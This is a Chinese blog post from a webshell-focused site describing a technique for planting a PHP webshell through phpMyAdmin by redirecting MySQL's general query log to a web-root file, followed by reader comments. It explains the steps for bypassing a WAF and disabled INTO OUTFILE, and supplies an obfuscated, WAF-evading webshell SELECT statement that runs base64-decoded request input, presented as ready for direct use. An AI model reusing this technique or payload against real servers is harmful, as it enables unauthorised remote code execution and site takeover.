phpmyadmin新姿势getshell

分类:安全 | 2017-03-15 | 撸过 4,135 次
6人扯谈

旁白:在一个有WAF、并且mysql中的Into outfile禁用的情况下,我该如何getshell?
首先环境如下:

  • OS:Windows 2003
  • WAF:Safe Dog 4.0正式版
  • phpmyadmin:4.7(许多都可以)
  • Mysql:5.5+
  • PHP:5.3
  • Apache:2.x

目前

into outfile

已经被禁用,并且WAF也会在写入文件的时候拦截。
那么我们尝试通过一个脑洞大开的方法去getshell。

(必须是mysql root权限)

登录phpmyadmin后,查看全局变量:
找到

general log file

这里是存储了每一个sql语句执行的日志(包含SQL语句本身)

但是

general log

变量必须是ON状态,代表启用。

此时我们把

general log

开启为

ON

,然后再去更改

general log file

的地址为我们的

webshell

绝对路径。

在每一次更改

general log file

的时候mysql都会判断日志文件是否存在,如果不存在则会自动创建。

此时该文件已经创建,并且文件内容保存了最后一条SQL语句的日志信息。

MySQLa, Version: 5.5.53 (MySQL Community Server (GPL)). started with:
TCP Port: 3306, Named Pipe: MySQL
Time Id Command Argument
121 Query SHOW GLOBAL VARIABLES WHERE Variable_name="general_log_file"
121 Quit

接下来,我们直接随意查询SQL,每一句都会被写入这个shell.php

由于有WAF,我们采用远程包含的形式来运行webshell
在我们的远程地址里,放置函数名,使服务器端访问它,然后加载到内存,直接去调用此函数,再去接收我们提交的php代码。

关于菜刀免杀,请看上一篇文章。
下面再附上一个SQL查询免杀shell的语句,方便大家遇到此类情况直接利用:

SELECT "<?php $p = array('f'=>'a','pffff'=>'s','e'=>'fffff','lfaaaa'=>'r','nnnnn'=>'t');$a = array_keys($p);$_=$p['pffff'].$p['pffff'].$a[2];$_= 'a'.$_.'rt';$_(base64_decode($_REQUEST['username']));?>"

可见这边并没有拦截:

文章就到这里啦,这几天比较忙,都没有怎么更新,感谢大家一直以来的支持!

本站内容均为原创,转载请务必保留署名与链接!
phpmyadmin新姿势getshell:https://www.webshell.cc/6433.html
标签: , ,

相关日志


已有6 条评论

当遇到用zkeys或者护卫神建造搭建的phpmyadmin 时,phpmyadmin这个目录是禁止写入的,同时猜不到网站的绝地路径,这样的该怎么拿shell,有root权限、有phpmyadmin root账号,密码;

06-28 15:48 回复

在一台测试机上的phpmyadmin里,居然没有这个general log项,是不是和版本有关?

05-18 09:59 回复

居然更新了,关注此博客好几年了.!!!!!!

04-09 22:00 回复

大神 免杀shell的密码是多少?

03-20 18:43 回复